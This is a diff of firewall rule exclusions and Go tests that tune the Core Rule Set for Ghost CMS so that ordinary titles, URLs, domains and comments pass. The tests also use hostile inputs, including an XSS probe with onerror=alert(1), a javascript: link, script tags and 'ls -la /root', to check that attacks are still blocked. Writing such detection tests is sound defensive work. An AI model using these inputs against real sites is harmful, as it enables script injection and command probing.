SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
|
||||
|
||||
# The articles skip these rules on the Admin API:
|
||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||
@@ -178,9 +388,10 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
|
||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
||||
# the site's settings, which hold the site-wide code injection besides the
|
||||
# title and the description, skip the rules of plain text above and these:
|
||||
# title and the description, skip the eight rules that 900353 lists and these:
|
||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
||||
# 932235, one of the eight, refused the site's title "powershell & python3".
|
||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||
# settings.<n>.value, the value of a setting
|
||||
@@ -194,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
@@ -216,6 +428,23 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||
|
||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||
# 930120: https://example.com/blog/.htaccess/
|
||||
# 932120: https://example.com/blog/powershell/
|
||||
# Each of these fields skips them only on its own path:
|
||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900383,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||
"id:900384,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||
|
||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||
# .profile, a file the list of system files names (930120).
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
@@ -223,6 +452,36 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||
|
||||
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
||||
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
|
||||
# the code injection of posts. A javascript: link is still refused in it.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
"id:900378,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||
|
||||
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
||||
# skips the two rules that url skips:
|
||||
# 930120: https://example.com/tag/.htaccess/
|
||||
# 932120: https://example.com/tag/powershell/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
"id:900382,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
||||
|
||||
# The passwords, which skip each rule that random passwords set off:
|
||||
# password, signing in at /ghost/api/admin/session/
|
||||
# setup.<n>.password, creating the first staff user
|
||||
|
||||
@@ -28,6 +28,19 @@ const (
|
||||
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
||||
ghostMember = "/members/api/member/"
|
||||
ghostMagicLink = "/members/api/send-magic-link/"
|
||||
ghostInvites = "/ghost/api/admin/invites/"
|
||||
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
||||
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
||||
ghostOffers = "/ghost/api/admin/offers/"
|
||||
ghostRecommended = "/ghost/api/admin/recommendations/"
|
||||
ghostTags = "/ghost/api/admin/tags/"
|
||||
ghostImport = "/ghost/api/admin/members/upload/"
|
||||
ghostComments = "/members/api/comments/"
|
||||
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
||||
ghostAccount = "/.ghost/activitypub/v1/account"
|
||||
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
||||
ghostMigration = "/.ghost/activitypub/v1/migration"
|
||||
ghostDomain = "/.ghost/activitypub/v1/domain"
|
||||
)
|
||||
|
||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||
@@ -64,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
|
||||
)
|
||||
}
|
||||
|
||||
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
||||
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostTextFields = []ghostField{
|
||||
@@ -116,8 +129,111 @@ var ghostTextFields = []ghostField{
|
||||
`{"snippets":[{"name":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodPut, ghostMember, ghostMemberName},
|
||||
|
||||
// A staff user's profile, the first staff user, an invitation accepted.
|
||||
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
||||
|
||||
// Tiers, offers, recommendations, integrations and webhooks.
|
||||
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTiers,
|
||||
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
||||
},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostOffers,
|
||||
`{"offers":[{"display_description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"title":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/integrations/",
|
||||
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/webhooks/",
|
||||
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
||||
},
|
||||
|
||||
// A feature image's alt text and caption.
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostPost,
|
||||
`{"posts":[{"feature_image_caption":` +
|
||||
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
||||
},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
||||
|
||||
// A member's comment, written and edited.
|
||||
ghostNewComment,
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostComments + "6af5426ae56ecb0001938894/",
|
||||
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
||||
},
|
||||
|
||||
// ActivityPub: a note, a reply, the description of their image, and the
|
||||
// account.
|
||||
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
||||
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
||||
{http.MethodPost, ghostNote, ghostNoteImage},
|
||||
{http.MethodPost, ghostReply, ghostNoteImage},
|
||||
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
||||
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
||||
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a struct
|
||||
var ghostNewComment = ghostField{
|
||||
http.MethodPost,
|
||||
ghostComments,
|
||||
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
||||
}
|
||||
|
||||
// ghostComment is the HTML of an ordinary comment, with a link.
|
||||
const ghostComment = `Try <strong>python3</strong>, then ` +
|
||||
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
||||
|
||||
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
||||
// image, with VALUE as the image's description.
|
||||
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
||||
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
||||
|
||||
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
||||
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
||||
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
||||
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
||||
|
||||
// ghostMemberName is the body that saves a member's name at /members/api/.
|
||||
const ghostMemberName = `{"name":"VALUE"}`
|
||||
|
||||
@@ -135,6 +251,8 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
||||
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostPasswordReset,
|
||||
@@ -143,6 +261,43 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
||||
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
||||
// 932120.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostHandleFields = []ghostField{
|
||||
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
||||
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
||||
// skip 930120, 932120 and 932260.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostDomainFields = []ghostField{
|
||||
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
||||
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
||||
// address of an account removed from those that move here in ActivityPub.
|
||||
// They skip 930120 and 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
@@ -183,8 +338,8 @@ var ghostArticleFields = slices.Concat(
|
||||
ghostSnippetAndNewsletterFooterFields,
|
||||
)
|
||||
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||
// and take a <script> element by 900366.
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
||||
// and 900378, and take a <script> element by 900366 and 900378.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCodeFields = []ghostField{
|
||||
@@ -203,6 +358,16 @@ var ghostCodeFields = []ghostField{
|
||||
`{"settings":[{"key":"title","value":"Blog"},` +
|
||||
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostTags,
|
||||
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
||||
},
|
||||
}
|
||||
|
||||
// The query fields that skip some rules, each ending in "=".
|
||||
@@ -211,22 +376,50 @@ const (
|
||||
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
||||
ghostSearch = ghostMembers + "?limit=100&search="
|
||||
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
||||
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
||||
ghostPathname = ghostStats + "&pathname="
|
||||
ghostSource = ghostStats + "&source="
|
||||
ghostCampaign = ghostStats + "&utm_campaign="
|
||||
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
||||
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
||||
ghostInvitedEmail = ghostInvitation + "?email="
|
||||
)
|
||||
|
||||
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
||||
// analytics, each ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAnalyticsFilters = []string{
|
||||
ghostSource,
|
||||
ghostStats + "&utm_source=",
|
||||
ghostStats + "&utm_medium=",
|
||||
ghostCampaign,
|
||||
ghostStats + "&utm_content=",
|
||||
ghostStats + "&utm_term=",
|
||||
}
|
||||
|
||||
// ghostQueryFields are the query fields that skip some rules.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostQueryFields = []string{
|
||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
||||
ghostAccountSearch, ghostInvitedEmail,
|
||||
}
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||
const ghostCommandNames = "powershell & python3"
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
||||
// ghostURLFields.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
"https://github.com/example/site/blob/main/.htaccess",
|
||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||
"https://example.com/docs/python3/",
|
||||
"https://example.com/blog/powershell/",
|
||||
"https://example.com/blog/.htaccess/",
|
||||
}
|
||||
|
||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||
@@ -238,6 +431,15 @@ var ghostAddresses = []string{
|
||||
"dave.powershell@example.com",
|
||||
}
|
||||
|
||||
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostDomains = []string{
|
||||
"erin.htaccess.example.com",
|
||||
"python3.example.com",
|
||||
"powershell.example.com",
|
||||
}
|
||||
|
||||
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
||||
// embed, which each of the rules of 900355 refused.
|
||||
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
||||
@@ -327,14 +529,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
for _, f := range ghostAddressFields {
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, domain := range ghostDomains {
|
||||
for _, f := range ghostDomainFields {
|
||||
wantGhostField(t, f, domain, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, f := range ghostArticleFields {
|
||||
wantGhostField(t, f, ghostArticle, false)
|
||||
}
|
||||
@@ -343,6 +555,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
wantGhostField(t, f, ghostCodeInjection, false)
|
||||
}
|
||||
|
||||
wantGhostField(t, ghostNewComment, ghostComment, false)
|
||||
wantGhostField(
|
||||
t,
|
||||
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
||||
"A terminal running ls -la on .htaccess with python3",
|
||||
false,
|
||||
)
|
||||
|
||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||
url.QueryEscape(
|
||||
"tag:powershell+status:[draft,scheduled,published,sent]",
|
||||
@@ -376,7 +596,8 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||
wantGhostField(t, f, ghostWidget, false)
|
||||
}
|
||||
|
||||
// Site code injection, saved in settings, and a post's or a page's own.
|
||||
// Site code injection, saved in settings, and a post's, a page's or a
|
||||
// tag's own.
|
||||
for _, f := range ghostCodeFields {
|
||||
wantGhostField(t, f, ghostAnalytics, false)
|
||||
}
|
||||
@@ -395,6 +616,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
@@ -407,6 +629,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
@@ -415,13 +638,19 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
// A command after a separator stays refused wherever 932235 does not
|
||||
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
||||
// url, pathname, email_segment and email. The other fields skip 932235,
|
||||
// which refuses "powershell & python3" as it refuses this.
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
||||
ghostDomainFields, ghostURLFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
for _, target := range ghostQueryFields {
|
||||
for _, target := range []string{
|
||||
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
||||
ghostInvitedEmail,
|
||||
} {
|
||||
wantGhostQuery(
|
||||
t,
|
||||
target+url.QueryEscape(commandAfterASeparator),
|
||||
@@ -429,6 +658,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// A comment keeps the rules for scripts and HTML.
|
||||
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
||||
wantGhostField(
|
||||
t,
|
||||
ghostNewComment,
|
||||
`<a href="javascript:alert(1)">x</a>`,
|
||||
true,
|
||||
)
|
||||
|
||||
// The articles and code injection carry HTML on purpose, but a
|
||||
// javascript: link is still refused there, and a script element in
|
||||
// snippets and a newsletter's footer.
|
||||
@@ -440,12 +678,138 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
for _, f := range ghostAddressFields {
|
||||
// An address and the domain keep 932250, which refuses a listing of
|
||||
// files. A handle keeps it too, but its @ comes before any command.
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
||||
wantGhostField(t, f, "ls -la /root", true)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The site's title, saved through settings.
|
||||
siteTitle := ghostField{
|
||||
http.MethodPut,
|
||||
ghostSettings,
|
||||
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
||||
}
|
||||
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
||||
|
||||
// Values that join two command names, as a person types them.
|
||||
for _, typed := range []string{
|
||||
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||
"ls -la & python3",
|
||||
} {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, typed, false)
|
||||
}
|
||||
|
||||
wantGhostImportLabel(t, ghostImport, typed, false)
|
||||
|
||||
for _, target := range slices.Concat(
|
||||
ghostAnalyticsFilters,
|
||||
[]string{ghostAccountSearch},
|
||||
) {
|
||||
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
||||
}
|
||||
|
||||
// filter as the admin's post picker writes it, after a person types
|
||||
// such a title.
|
||||
filter := "status:published+title:~'" + typed + "'"
|
||||
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||
}
|
||||
}
|
||||
|
||||
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
||||
// pages, email_segment, the search of ActivityPub and the check of an
|
||||
// invitation.
|
||||
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||
|
||||
for _, target := range ghostAnalyticsFilters {
|
||||
wantGhostQuery(t, target+encoded, false)
|
||||
}
|
||||
|
||||
wantGhostQuery(t, ghostCampaign+text, false)
|
||||
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||
}
|
||||
|
||||
// pathname, the page the analytics show: a post and two tag pages.
|
||||
for _, path := range []string{
|
||||
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
||||
} {
|
||||
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
||||
}
|
||||
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||
false,
|
||||
)
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostAccountSearch+"%40powershell%40example.com",
|
||||
false,
|
||||
)
|
||||
|
||||
for _, segment := range []string{
|
||||
"label:powershell-users", "label:python3", "label:ls-la",
|
||||
"label:htaccess", "status:free,tier:powershell-club",
|
||||
} {
|
||||
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
||||
}
|
||||
}
|
||||
|
||||
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
||||
// refuses label, sent as labels in a CSV import to target, or lets it
|
||||
// through.
|
||||
func wantGhostImportLabel(
|
||||
t *testing.T, target, label string, refused bool,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
body := field("labels", label) + field("mapping[email]", "email") + end
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||
if refused && got.Score < ghostThreshold {
|
||||
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
||||
}
|
||||
|
||||
if !refused && got.Score >= ghostThreshold {
|
||||
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
||||
}
|
||||
}
|
||||
|
||||
